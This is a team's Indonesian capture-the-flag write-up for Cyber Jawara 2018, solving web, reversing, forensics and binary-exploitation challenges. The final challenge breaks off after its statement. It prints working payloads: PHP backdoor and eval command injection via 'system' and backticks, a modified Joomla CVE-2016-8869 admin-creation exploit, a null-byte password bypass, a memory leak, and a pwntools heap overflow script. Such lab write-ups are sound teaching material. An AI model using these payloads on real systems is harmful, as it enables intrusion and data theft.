



# CYBER JAWARA

**NAMA TIM :** [*Rules Of Pwning*]

**ZONA :** [*2 Jawa Madura*]

Rabu 10 September 2018

<b>Ketua Tim</b>	
i.	Muh. Fani Akbar
<b>Anggota</b>	
i.	Bayu Fedra Abdullah
ii.	Muhammad Alifa Ramdhan



# CYBER JAWARA

[SOAL 1][*Login Form*]

## Table of Contents

---

### Capture The Flag Report

#### 1. Executive Summary

Temukan cara untuk masuk sebagai admin pada web berikut.

<http://soal.jawara.idsirtii.or.id:10002/>

Catatan: Untuk menyelesaikan soal ini tidak diperlukan brute-force. Segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

#### 2. Technical Report

Apabila mengakses web yang diberikan, akan menampilkan source code.  
( source nya lupa, Web nya down )

Yang seingat kami web tersebut menggunakan `parse_str($_SERVER["query_string"])`

Dan username yang valid `CJ` .

Karena web tsb menggunakan `parse_str` . kami mengirim `username` dan `hash` menggunakan metode `GET` .

```
action=login&username=CJ&hash=81eb1cf42dc766553d51bc73d70adebe8607031b
```

Request lengkap

```
http://soal.jawara.idsirtii.or.id:10002/index.php?action=login&username=CJ&hash=81eb1cf42dc766553d51bc73d70adebe8607031b
```

### 3. Conclusion

**Flag : CJ2018{Hackers\_Love\_PHP\_<3}**



**CYBER  
JAWARA**

**[SOAL 2][*CJ PHP Shell*]**

# Table of Contents

## Capture The Flag Report

### 1. Executive Summary

Masuklah ke dalam sistem dengan menggunakan PHP Shell milik CJ.

`http://soal.jawara.idsirtii.or.id:10001/`

Catatan: Untuk menyelesaikan soal ini tidak diperlukan brute-force. Segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

### 2. Technical Report

Source code cj.php merupakan script `backdoor` sederhana.

```
<?$_GET;($_GET['CJ']?($_GET['CJ']):'');
```

Untuk mendapatkan RCE kami menggunakan pola

```
1=CJ&2=NAMA_FUNGSI&3=COMMAND
```

```
1=CJ&2=system&3=cat flag.php
```

Request lengkap

```
http://soal.jawara.idsirtii.or.id:10001/cj.php?1=CJ&2=system&3=cat flag.php
```

### 3. Conclusion

Flag :

**CJ2018{all\_of\_this\_time\_you\_use\_someone\_else\_php\_shell\_do\_you\_understand\_how\_it\_is\_works?}**





# CYBER JAWARA

[SOAL 3][*Eval*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

**Input** user yang pendek seharusnya tidak apa-apa di-eval kan?

<http://soal.jawara.idsirtii.or.id:10003/>

Catatan: Untuk menyelesaikan soal ini tidak diperlukan brute-force, segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

#### 2. Technical Report

Didapatkan source code web seperti berikut.

```
<?php
if (!empty($_GET['number'])) {
    $number = $_GET['number'];
    if (strlen($number) > 8) {
        die("Maximum digit is 8!");
    }
    $is_numeric = (is_numeric($number) ? "a number" : "not a number");
    print eval("print '$number is $is_numeric';");
} else {
    highlight_file(__FILE__);
}
```

Trik yang kami gunakan untuk mengeksekusi command shell yaitu dengan menggunakan backtick, jadi payload yang kami gunakan adalah

`http://soal.jawara.idsirtii.or.id:10003/?number=%27.%60ls%60;%23&s=hello` . Akses link tersebut dan didapatkan file bernama

`5a2fe7b27398515578563e5ee5f0beed9ce24f0c-flag` . File ini bisa kita akses melalui web yang berisi : `CJ2018{art_of_command_injection}`

### 3. Conclusion

**Flag : CJ2018{art\_of\_command\_injection}**



# CYBER JAWARA

[SOAL 4][*Jombloo*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Karena Jomblo lebih baik daripada Jomraa.

<http://soal.jawara.idsirtii.or.id:10004/>

NOTE: DI SOAL INI ADA 2 FLAG. SILAHKAN SUBMIT SALAH SATU.

Database akan di-revert setiap 5 menit!

Kode dari `components/com_users/controllers/user.php` yang telah dimodifikasi dapat diunduh di bawa

h.

Catatan: Untuk menyelesaikan soal ini tidak diperlukan brute-force, segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

\*\*\* HINT \*\*\*

CVE-2016-8869 with a twist (sorry script kiddie, you can't just **use** someone **else** exploit **and** feel **like** a hacker)

!!PERHATIAN!!

Percuma brute login-nya!

!!PERHATIAN 2!!

Percuma pakai scanner!

!!PERHATIAN 3!!

Jika Anda merasa sudah masuk admin tapi ada tulisan '**An error has occured**', itu berarti Anda sebenarnya belum login (credential-nya salah).

## 2. Technical Report

Diberikan source code core joomla yang sudah dimodifikasi.

```
<?php
public function register()
{
    JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));

    // Get the application
    $app = JFactory::getApplication();

    // Get the form data.
    $data = $this->input->post->get('_user__', array(), 'array');

    // Check password length
    if (strlen($data['password1']) < 25)
    {
        $this->setRedirect('index.php?option=com_users&view=registration');

        return false;
    }

    // Get the model and validate the data.
    $model = $this->getModel('Registration', 'UsersModel');

    $form = $model->getForm();

    if (!$form)
    {
        JError::raiseError(500, $model->getError());

        return false;
    }
}
```



```

$return = $model->validate($form, $data);

// Check for errors.
if ($return === false)
{
    // Get the validation messages.
    $errors = $model->getErrors();

    // Push up to three validation messages out to the user.
    for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
    {
        if ($errors[$i] instanceof Exception)
        {
            $app->enqueueMessage($errors[$i]->getMessage(), 'notice');
        }
        else
        {
            $app->enqueueMessage($errors[$i], 'notice');
        }
    }

    // Save the data in the session.
    $app->setUserState('users.registration.form.data', $data);

    // Redirect back to the registration form.
    $this->setRedirect('index.php?option=com_users&view=registration');

    return false;
}

// Finish the registration.
$return = $model->register($data);

// Check for errors.
if ($return === false)
{
    // Save the data in the session.
    $app->setUserState('users.registration.form.data', $data);

    // Redirect back to the registration form.
    $message = JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError());
    $this->setRedirect('index.php?option=com_users&view=registration', $message, 'error');
;

    return false;
}

// Flush the data from the session.
$app->setUserState('users.registration.form.data', null);

return true;
}

```

Setelah mengamati terdapat source yang dirubah yaitu bagian field user menjadi `_user__`

```

// original - https://github.com/joomla/joomla-cms/commit/bae1d43938c878480cfd73671e4945211538fdc
$data = $this->input->post->get('user', array(), 'array');

```

```
// modified - user.php
$data = $this->input->post->get('_user__', array(), 'array');
```

Dan terdapat tambahan, panjang password harus `> 25` karakter.

```
// Check password length
if (strlen($data['password1']) < 25)
{
    $this->setRedirect('index.php?option=com_users&view=registration');

    return false;
}
```

Exploit yang kami gunakan

<https://github.com/XiphosResearch/exploits/blob/master/Joomraa/joomraa.py>

Dengan sedikit perubahan pada field `user` menjadi `_user__`

```
# User object
'_user__[name]': options.username,
'_user__[username]': options.username,
'_user__[password1]': options.password,
'_user__[password2]': options.password,
'_user__[email1]': options.email,
'_user__[email2]': options.email,
'_user__[groups][]': '7', # Yay, Administrator!
# Sometimes these will be overridden
'_user__[activation]': '0',
'_user__[block]': '0',
```

```
$python joomraa.py -u "miminml2" -p "Z76Hk5Zaqhp8RtFUdG56VzkrLn" -e "email.me@gmail.com" http://s
oal.jawara.idsirtii.or.id:10004
[-] Getting token
[-] token 25afa940d737fb1cc8baca8d18ef0d23
[-] Creating user account
resp
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[!] Cannot find CSRF token
[*] FAILURE
```

Lalu tinggal login dengan username `miminml2` password `Z76Hk5Zaqhp8RtFUdG56VzkrLn` .

Setelah itu akan langsung mendapatkan Flag.

### 3. Conclusion

**Flag : CJ2018{script\_kiddies\_shall\_not\_pass}**



# CYBER JAWARA

[SOAL 5][*Hidden Config*]

## Table of Contents

---

### Capture The Flag Report

#### 1. Executive Summary

Terkadang, konfigurasi program diletakkan langsung pada program tersebut dan sebenarnya dapat dilihat dengan mudah.

Anda sebagai hacker tentunya bisa menemukan konfigurasi tersembunyi di program Linux ini bukan?

#### 2. Technical Report

Diberikan binary, lakukan perintah `strings` dan kita mendapatkan flagnya.

```
% strings hidden_config | head -n 20
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-@
AWAVA
AUATL
[]A\A]A^A_
CJ2018{hidden_config_inside_rodata}
Can you find the config?
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7594
__do_global_dtors_aux_fini_array_entry
```

### 3. Conclusion

**Flag : CJ2018{hidden\_config\_inside\_rodata}**



# CYBER JAWARA

[SOAL 6][*Snake*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Mari bermain game pada CLI Linux!

Dapatkah Anda mencapai skor 2 milyar pada permainan Snake ini?

#### 2. Technical Report

Diberikan binary 64 bit dan merupakan game ular.

hasil decompile menggunakan IDA Pro



(snippet)

```
if ( eatFood(a1, a2) )
{
    generateFood(a2, v12, v11, a1, (unsigned int)v10++);
    a7 += a8;
    if ( 10 * a8 + v15 <= a7 )
    {
        ++a8;
        v15 = a7;
        if ( a8 > 9 )
        {
            if ( v14 > 39 )
                v14 -= 5000;
        }
        else
        {
            v14 -= 100000;
        }
    }
    refreshInfoBar((unsigned int)a7, (unsigned int)a8);
    if ( a7 > 1999999999 )
        win();
}
```

Fungsi `win()` akan di panggil apabila `a7` bernilai 1999999999.

Flag pada fungsi `win()` terenkripsi. karena fungsi `win()` tidak menerima argument atau menggunakan nilai global variable tertentu sebagai key nya, kami menggunakan `gdb` untuk melakukan `call` pada fungsi `win()`.

```
gdb-peda$ b *main
Breakpoint 1 at 0x402a8d
gdb-peda$ r
gdb-peda$ call win()

You Win!
Flag: CJ2018{basic_game_cracking}
$1 = 0x0
```

### 3. Conclusion

**Flag : CJ2018{basic\_game\_cracking}**



# CYBER JAWARA

[SOAL 7][*Numbers*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Program ini menerima input beberapa bilangan dan akan mengeluarkan pesan rahasia jika bilangan yang Anda masukkan benar.

#### 2. Technical Report

Diberikan binary elf, program ini meminta input berupa 20 bilangan.

```
for ( j = 0; j <= 19; ++j )
```

```

{
    if ( j <= 1 )
    {
        if ( numbers[j] != 1 )
        {
            v7 = 0;
            break;
        }
    }
    else if ( numbers[j] != numbers[j - 1] + numbers[j - 2] )
    {
        v7 = 0;
        break;
    }
}
if ( v7 )
{
    puts("Good numbers");
}

```

Program membandingkan `numbers[j]` dengan `numbers[j - 1] + numbers[j - 2]`, Ini mengingatkan kami terhadap bilangan fibonacci dimana bilangan ke n adalah bilangan ke n-1 + bilangan ke n-2. Jadi kita diminta menginputkan 20 bilangan fibonacci dimulai dari angka 1.

```

% ./numbers
Insert 20 numbers: 1
1
2
3
5
8
13
21
34
55
89
144
233
377
610
987
1597
2584
4181
6765
Good numbers
CJ2018{l0g1c_t35t_!}

```

### 3. Conclusion

**Flag : CJ2018{l0g1c\_t35t\_!}**



# CYBER JAWARA

[SOAL 8][*Ransomware*]

## Table of Contents

---

### Capture The Flag Report

#### 1. Executive Summary

Oh, tidak. Ransomware merajalela di salah satu Rumah Sakit di Indonesia. Bahkan, tidak hanya komputer Windows yang terinfeksi. Komputer Linux juga. Diketahui, Ransomware tersebut memanfaatkan Python yang terinstall di semua komputer Rumah Sakit tersebut sehingga memungkinkannya untuk berjalan di kedua sistem operasi tersebut.

Dapatkah anda melakukan recovery terhadap flag.txt yang terenkripsi?

#### 2. Technical Report

Diberikan file ransomware.pyc dan flag.txt.enc. Setelah dilakukan decompile didapatkan source code ransomware.pyc seperti berikut <http://termbin.com/0bzco>. Tampaknya source code yang dihasilkan masih diobfuscate. Untuk mendeobfuscatenya tinggal kita ganti baris diakhir yang berisi `eval(compile(base64.b64decode ...` dengan `print(base64.b64decode('trust'))`.

Jalankan source code yang telah dirubah, maka hasilnya terdapat source code lain yang masih diobfuscate. Lakukan cara yang sama seperti diatas sekitar 18 kali, dan kita mendapatkan source code akhirnya seperti kode dibawah ini.

```
import os ,struct #line:1
from Crypto .Cipher import AES #line:2
class Encryptor :#line:4
    def encrypt_file (0000000000000000 ,0000000000000000 ,out_filename =None ,chunksize =64 *10
24 ):#line:5
        if not out_filename :#line:6
            out_filename =0000000000000000 +'.enc'#line:7
            0000000000000000 ='\x01'*16 #line:9
            0000000000000000 ="Cyber"#line:10
            0000000000000000 ="JWR"#line:11
            0000000000000000 =0000000000000000 +0000000000000000 +0000000000000000 +00000000000000
0000 #line:12
            0000000000000000 =AES .new (0000000000000000 ,AES .MODE_CBC ,0000000000000000 )#line:13

            0000000000000000 =os .path .getsize (0000000000000000 )#line:14
            with open (0000000000000000 ,'rb')as 0000000000000000 :#line:17
                with open (out_filename ,'wb')as 0000000000000000 :#line:18
                    0000000000000000 .write (struct .pack ('<Q',0000000000000000 ))#line:19
                    0000000000000000 .write (0000000000000000 )#line:20
                    while True :#line:22
                        0000000000000000 =0000000000000000 .read (chunksize )#line:23
                        if len (0000000000000000 )==0 :#line:24
                            break #line:25
                        elif len (0000000000000000 )%16 !=0 :#line:26
                            0000000000000000 += ' '*(16 -len (0000000000000000 )%16 )#line:27
                            0000000000000000 .write (0000000000000000 .encrypt (0000000000000000 ))#li
ne:29
e =Encryptor ()#line:32
e .encrypt_file ('flag.txt')#line:33
```

Ubah nama - nama variable agar mudah dibaca.

```
import os ,struct #line:1
from Crypto .Cipher import AES #line:2
class Encryptor :#line:4
    def encrypt_file (self ,filename ,out_filename =None ,chunksize =64 *1024 ):#line:5
        if not out_filename :#line:6
            out_filename =filename +'.enc'#line:7
            pad ='\x01'*16 #line:9
            cyber ="Cyber"#line:10
            jwr ="JWR"#line:11
            cyberjwr =jwr +cyber +cyber +jwr #line:12
            aes =AES .new (cyberjwr ,AES .MODE_CBC ,pad )#line:13
            size =os .path .getsize (filename )#line:14
            with open (filename ,'rb')as fd :#line:17
                with open (out_filename ,'wb')as outfd :#line:18
```



```

        outfd .write (struct .pack ('<Q',size ))#line:19
        outfd .write (pad )#line:20
        while True :#line:22
            buffd =fd .read (chunksize )#line:23
            if len (buffd )==0 :#line:24
                break #line:25
            elif len (buffd )%16 !=0 :#line:26
                buffd += ' '*(16 -len (buffd )%16 )#line:27
            outfd .write (aes .encrypt (buffd ))#line:29
e =Encryptor ()#line:32
e .encrypt_file ('flag.txt')#line:33

```

Diatas sudah jelas, program mengenkripsi dengan algoritma AES dengan beberapa tambahan. Kita hanya perlu membuat fungsi decryptnya saja, fungsi decryptnya menjadi seperti ini.

```

def decrypt_file (self ,filename ,out_filename =None ,chunksize =64 *1024 ):#line:5
    if not out_filename :#line:6
        out_filename =filename +'.dec'#line:7
    pad ='\x01'*16 #line:9
    cyber ="Cyber"#line:10
    jwr ="JWR"#line:11
    cyberjwr =jwr +cyber +cyber +jwr #line:12
    aes =AES .new (cyberjwr ,AES .MODE_CBC ,pad )#line:13
    size =os .path .getsize (filename )#line:14
    with open (filename ,'rb')as fd :#line:17
        with open (out_filename ,'wb')as outfd :#line:18
            fd .read (8)#line:19
            fd .read (16)#line:20
            buffd =fd .read (chunksize )#line:23
            outfd .write (aes .decrypt (buffd ))#line:29

```

Panggil fungsi decrypt file.

```

e =Encryptor ()#line:32
e .decrypt_file ('flag.txt.enc')#line:33

```

Jalankan scriptnya, dan kita mendapatkan flagnya.

```

$ python final.py
$ cat flag.txt.dec
CJ2018{ez_deobfuscation_for_warm_up}

```

### 3. Conclusion

**Flag : CJ2018{ez\_deobfuscation\_for\_warm\_up}**



# CYBER JAWARA

[SOAL 9][*Ghost in The Wires*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Pada remote exploit dengan target TCP service, sering kali exploit ditujukan pada layanan tanpa a da enkripsi sehingga crafted malicious request yang dikirimkan bisa terlihat dan dianalisis.

Diketahui bahwa sebuah exploit telah dijalankan menuju salah satu service pada sebuah server. Dap atkah Anda melakukan reverse terhadap exploit tersebut dan melihat apa yang dilakukan?

[https://drive.google.com/open?id=1yigPlow19sf0aPdIhleDEqf\\_fU7V40dU](https://drive.google.com/open?id=1yigPlow19sf0aPdIhleDEqf_fU7V40dU)

\*\*\* HINT \*\*\*

Terlampir :) Good luck

## 2. Technical Report

Diberikan sebuah paket traffic, dan hint nya adalah terdapat banyak “nop” byte.

Untuk me filter paket yang terdapat “nop” kami menggunakan `frame contains "\x90\x90"` pada paket yang menggunakan protocol `IPA`.

Tinggal follow tcp lalu save.

Ubah `Opcode` yang di export ke bentuk `mnemonic`

```
$ cat test2.asm | ndisasm -b32 -
....
00000080 31C9          xor ecx,ecx
00000082 F7E1          mul ecx
00000084 B005          mov al,0x5
00000086 51           push ecx
00000087 682F2F636A    push dword 0x6a632f2f
0000008C 682F746D70    push dword 0x706d742f
00000091 89E3          mov ebx,esp
00000093 66B94100      mov cx,0x41
00000097 BAB6010000    mov edx,0x1b6
0000009C CD80          int 0x80
0000009E 8B1424        mov edx,[esp]
000000A1 93           xchg eax,ebx
000000A2 6A04          push byte +0x4
000000A4 58           pop eax
000000A5 81F24E18040D  xor edx,0xd04184e
000000AB 52           push edx
000000AC 81F23E33361F  xor edx,0x1f36333e
000000B2 52           push edx
000000B3 81F23C6F3B51  xor edx,0x513b6f3c
000000B9 52           push edx
000000BA 81F20B03085F  xor edx,0x5f08030b
000000C0 52           push edx
000000C1 81C2C9040F07  add edx,0x70f04c9
000000C7 52           push edx
000000C8 81EAEED4843   sub edx,0x4348edee
000000CE 52           push edx
000000CF 89E1          mov ecx,esp
000000D1 6A18          push byte +0x18
000000D3 5A           pop edx
000000D4 CD80          int 0x80
000000D6 6A06          push byte +0x6
000000D8 58           pop eax
000000D9 CD80          int 0x80
000000DB 6A01          push byte +0x1
000000DD 58           pop eax
000000DE CD80          int 0x80
```

Kami memperbaiki nya dengan menambahkan syscall `write` dan `exit`

```
; nasm -f elf32 -o ghost_wires.o ghost_wires.asm
```

```
; ld -m elf_i386 -o ghost_wires ghost_wires.o
```

```
section .text
    global _start
```

```
_start:
```

```
xor ecx,ecx
mul ecx
mov al,0x5
push ecx
push dword 0x6a632f2f
push dword 0x706d742f
mov ebx,esp
mov cx,0x41
mov edx,0x1b6
int 0x80
mov edx,[esp]
xchg eax,ebx
push byte +0x4
pop eax
xor edx,0xd04184e
push edx
xor edx,0x1f36333e
push edx
xor edx,0x513b6f3c
push edx
xor edx,0x5f08030b
push edx
add edx,0x70f04c9
push edx
sub edx,0x4348edee
push edx
mov ecx,esp
push byte +0x18
pop edx
int 0x80
push byte +0x6
pop eax
int 0x80
; write to stdout
mov ebx, 1
mov eax, 4
int 0x80

; exit
mov eax, 1
xor ebx,ebx
int 0x80
```

```
$ nasm -f elf32 -o ghost_wires.o ghost_wires.asm
$ ld -m elf_i386 -o ghost_wires ghost_wires.o
$ ./ghost_wires
CJ2018{sh3llc0d3__bali}
```

### 3. Conclusion

**Flag : CJ2018{sh3llc0d3\_\_bali}**



# CYBER JAWARA

[SOAL 10][*Athena*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Program sederhana. Apa yang bisa salah dari ini?

nc soal.jawara.idsirtii.or.id [11337](#)

**Catatan:** Untuk menyelesaikan soal ini tidak diperlukan brute-force, segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

#### 2. Technical Report



Diberikan sebuah binary athena beserta source codenya.

```
/*
 * Cyber Jawara 2018 - Athena
 *
 * gcc athena.c -o athena
 * socat TCP4-LISTEN:11337,reuseaddr,fork EXEC:"./athena" > /dev/null 2>&1 &
 */
#include <stdio.h>
#include <string.h>

char password[128];
char input[128];
char flag[128];

void service() {
    FILE *fp;

    fp = fopen("service.conf", "r");

    if (fp == NULL) {
        puts("service.conf not found\n");
        return;
    }

    fgets(password, sizeof(password), fp);
    fgets(flag, sizeof(flag), fp);
    fclose(fp);

    printf("Password: ");
    fgets(input, sizeof(input), stdin);

    if (strncmp(input, password, strlen(input)) == 0) {
        puts("Welcome!");
        puts(flag);
    } else {
        puts("Incorrect password\n");
    }
}

void init() {
    char buff[1];
    buff[0] = 0;
    setvbuf(stdout, buff, _IOFBF, 1);
}

int main() {
    init();
    service();
    return 0;
}
```

Kode untuk membandingkan inputan kita dengan password yang sebenarnya tidak sepenuhnya dapat bekerja, karena argumen panjang string yang digunakan pada pemanggilan strcmp didapat dari panjang inputan kita.

Dengan mencoba beberapa karakter yang diakhiri dengan nullbyte (agar program membandingkan 1 karakter pertama saja), kita mendapatkan flagnya.

```
$ python -c 'print "{\x00}" | nc soal.jawara.idsirtii.or.id 11337'
Password: Welcome!
CJ2018{based_on_Intel_AMT_Vulnerability_CVE-2017-5689}'}
```

### 3. Conclusion

**Flag : CJ2018{based\_on\_Intel\_AMT\_Vulnerability\_CVE-2017-5689}**



**CYBER  
JAWARA**

**[SOAL 11][*Dionysus*]**

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

**Komunikasi** antara client-server pada sisi client biasanya dilakukan dengan menggunakan client program sehingga user tidak perlu mengirimkan data melalui socket secara manual. Contoh client yang biasa dipakai adalah web browser, FTP client, SSH client, dan SMTP client.

Diketahui bahwa kedua program ini adalah sepasang client-server. Anda bisa mencoba untuk melakukan koneksi dengan menjalankan perintah ini (pada Linux):

```
./dionysus_client 203.34.119.68 21337
```

Anda sebagai hacker tentu saja tertarik untuk mencari kelemahan pada protokol ataupun implementasi program tersebut.

Catatan: Untuk menyelesaikan soal ini tidak diperlukan brute-force, segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

## 2. Technical Report

Diberikan 2 buah program dionysus\_client dan dionysus\_server. Program client digunakan untuk berkomunikasi dengan program server, sebenarnya kita dapat langsung terhubung dengan program server hanya dengan nc, jadi program client tidak kita butuhkan.

Pertama program dionysus\_server akan memanggil fungsi load\_secret.

```
int load_secret()
{
    FILE *stream; // [sp+8h] [bp-8h]@1

    stream = fopen("secret.txt", "r");
    if ( !stream )
    {
        puts("secret.txt not found");
        exit(1);
    }
    fgets(secret, 64, stream);
    return fclose(stream);
}
```

Fungsi load\_secret digunakan untuk membaca isi dari file secret.txt dan menyimpannya di variable global secret.

Selanjutnya program memanggil fungsi heart\_beat.

```
int heart_beat()
{
    int result; // eax@1
    int v1; // ebx@3
    int v2; // [sp+8h] [bp-18h]@2
    int v3; // [sp+Ch] [bp-14h]@2

    printf("DionysusServer");
    result = getchar();
    if ( (_BYTE)result == 0xca )
    {
        v3 = getchar();
        v2 = 0;
        while ( v2 < v3 )
```

```

    {
        v1 = v2++;
        *(&input + v1) = getchar();
    }
    result = puts(&input);
}
return result;
}
}

```

Disini program akan membaca data dari client byte per byte. Dengan format byte pertama harus bernilai byte 0xca, byte kedua bernilai panjang byte selanjutnya yang akan diterima.

Jika kita lihat susunan memorynya, variable input dan secret saling berdekatan.

```

.bss:00000000000000000000000000000000 ; char input
.bss:00000000000000000000000000000000 input          db ?                ; DATA XREF: heart_beat+4Aw
.bss:00000000000000000000000000000000                ; heart_beat+580
.bss:00000000000000000000000000000000                align 20h
.bss:00000000000000000000000000000000                public secret
.bss:00000000000000000000000000000000 ; char secret[64]
.bss:00000000000000000000000000000000 secret          db 40h dup(?)          ; DATA XREF: load_secret+420
.bss:00000000000000000000000000000000 _bss            ends
.bss:00000000000000000000000000000000

```

Jika kita mengirimkan sebanyak 0x20 data ke variable input, maka variable secret akan ikut terleak pada saat fungsi puts dipanggil, karena input dan secret sudah tidak dibatasi nullbyte lagi, sehingga input dan secret dianggap 1 string pada saat puts dipanggil.

```
result = puts(&input)
```

```

$ python -c 'a="A"*0x20; print("\xca"+chr(len(a))+a)' | nc 203.34.119.68 21337
DionysusServerAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACJ2018{still_remember_H34rt_Bl33d?}

```

### 3. Conclusion

**Flag : CJ2018{still\_remember\_H34rt\_Bl33d?}**



# CYBER JAWARA

[SOAL 12][*Morpheus*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Pada era modern ini, eksploitasi menggunakan stack-based memory corruption seperti stack buffer overflow semakin sulit dilakukan karena stack cookies atau canary untuk melindungi stack buffer sudah menjadi standard dan dimasukkan oleh compiler secara **default**.

Namun, jika Anda mencari dengan kata kunci '**Heap Overflow**', maka vulnerability tersebut masih sangat banyak ditemukan bahkan pada program-program populer seperti browser ataupun kernel. Heap digunakan biasanya ketika program melakukan alokasi memori secara dinamis. Manajemen memori ini harus fleksibel dan ringkas agar program menjadi efisien baik dari segi kecepatan atau penggunaan memori. Implikasinya, compiler cukup sulit untuk menambahkan fitur pengaman Heap karena banyak yang t



ergantung bagaimana programmer menggunakannya.

Salah satu bentuk data yang akan disimpan dalam Heap adalah **struct** pada C. Program di bawah ini adalah sebuah game yang menggunakan **struct** untuk menyimpan data dan menggunakan glibc malloc untuk alokasi memori. Dapatkah Anda mengeksploitasinya untuk memenangkan permainan tersebut? Untuk mempermudah Anda, source code terlampir.

nc soal.jawara.idsirtii.or.id 41337

Catatan: Untuk menyelesaikan soal ini tidak diperlukan brute-force, segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

## 2. Technical Report

Diberikan sebuah binary beserta source codenya.

```
/*
 * Cyber Jawaara 2018 - Morpheus
 *
 * gcc morpheus.c -o morpheus
 * socat TCP4-LISTEN:41337,reuseaddr,fork EXEC:"./morpheus" > /dev/null 2>&1 &
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char choice;

struct hero {
    char* name;
    int hp;
    int atk;
};

struct hero* a;
struct hero* b;
struct hero* c;

FILE *fp;
char *flag;

void display(int id, struct hero* h) {
    puts("*-----*");
    printf("| ID   : %d\n", id);
    printf("| Name : %s\n", h->name);
    printf("| HP   : %u\n", h->hp);
    printf("| ATK  : %u\n", h->atk);
    puts("*-----*");
}

void battle() {
    int totalAtk = a->atk + b->atk + c->atk;
    int totalHp = a->hp + b->hp + c->hp;
    if ((totalHp > 2000000000) && (totalAtk > 2000000000)) {
        puts("\n\n ***** You Won! ***** \n\n");

        flag = malloc(128);
```

```

        memset(flag, 0, 128);
        fp = fopen("flag.txt", "rb");
        fread(flag, 128, 1, fp);
        fclose(fp);
        puts(flag);

        exit(0);
    } else {
        puts("\n\n ##### You Lose! ##### \n\n");
        exit(0);
    }
}

void changeName() {
    printf("Select ID: ");
    choice = getchar();
    getchar();
    switch (choice) {
        case '1':
            printf("Insert Name: ");
            fgets(a->name, 32, stdin);
            strtok(a->name, "\n");
            break;
        case '2':
            printf("Insert Name: ");
            fgets(b->name, 322, stdin);
            strtok(b->name, "\n");
            break;
        case '3':
            printf("Insert Name: ");
            fgets(c->name, 32, stdin);
            strtok(c->name, "\n");
            break;
    }
}

void trainHP() {
    printf("Select ID: ");
    choice = getchar();
    getchar();
    switch (choice) {
        case '1':
            a->hp++;
            break;
        case '2':
            b->hp++;
            break;
        case '3':
            c->hp++;
            break;
    }
}

void trainATK() {
    printf("Select ID: ");
    choice = getchar();
    getchar();
    switch (choice) {
        case '1':
            a->atk++;

```

```

        break;
    case '2':
        b->atk++;
        break;
    case '3':
        c->atk++;
        break;
    }
}

void service() {
    a = (struct hero*)malloc(sizeof(struct hero));
    a->name = malloc(32);
    strcpy(a->name, "Archa");
    a->hp = 100;
    a->atk = 25;

    b = (struct hero*)malloc(sizeof(struct hero));
    b->name = malloc(32);
    strcpy(b->name, "Bhiga");
    b->hp = 110;
    b->atk = 21;

    c = (struct hero*)malloc(sizeof(struct hero));
    c->name = malloc(32);
    strcpy(c->name, "Chrono");
    c->hp = 105;
    c->atk = 22;

    while (1) {
        display(1, a);
        display(2, b);
        display(3, c);
        puts("");
        puts("1) Change Name");
        puts("2) Train HP");
        puts("3) Train ATK");
        puts("4) Battle");
        printf("Choice: ");
        choice = getchar();
        getchar();
        switch (choice) {
            case '1':
                changeName();
                break;
            case '2':
                trainHP();
                break;
            case '3':
                trainATK();
                break;
            case '4':
                battle();
                break;
        }
    }
}

void init() {
    char buff[1];

```

```

    buff[0] = 0;
    setvbuf(stdout, buff, _IOFBF, 1);
}

int main() {
    init();
    service();
    return 0;
}

```

Untuk mendapatkan flag, kita harus memenangkan battle dengan syarat jumlah seluruh HP dan ATK harus lebih dari 2000000000

```

if ((totalHp > 2000000000) && (totalAtk > 2000000000)) {
    puts("\n\n ***** You Won! ***** \n\n");

    flag = malloc(128);
    memset(flag, 0, 128);
    fp = fopen("flag.txt", "rb");
    fread(flag, 128, 1, fp);
    fclose(fp);
    puts(flag);
    exit(0);
}

```

Sementara terdapat bug overflow pada saat kita mengganti nama pada hero dengan ID 2.

```

case '2':
    printf("Insert Name: ");
    fgets(b->name, 322, stdin); // Bug
    strtok(b->name, "\n");
    break;

```

Dengan exploit dibawah ini, kita dapat mengganti nilai HP dan ATX pada hero 3 dengan nilai 200000000.

```

from pwn import *
p = remote("soal.jawara.idsirtii.or.id", 41337)
p.recvuntil(":")
p.sendline("1")
p.sendline("2")
b = "A"*8*6+"\x00"*8+p32(2000000000)+p32(2000000000)
p.sendline(b)
p.interactive()

```

### 3. Conclusion

**Flag nya lupa (service sudah down)**



# CYBER JAWARA

[SOAL 13][*Hephaestus*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Pemanggilan eksekusi shell command menggunakan fungsi seperti **system()** atau **popen()** memang berbahaya karena ini berarti pemanggilan terhadap **syscall** **execve()** menggunakan parameter yang diberikan oleh program akan dilakukan.

Tetapi, apabila shell command-nya di-hardcode atau di-filter, seharusnya sudah aman bukan?

Temukan jawabannya di:

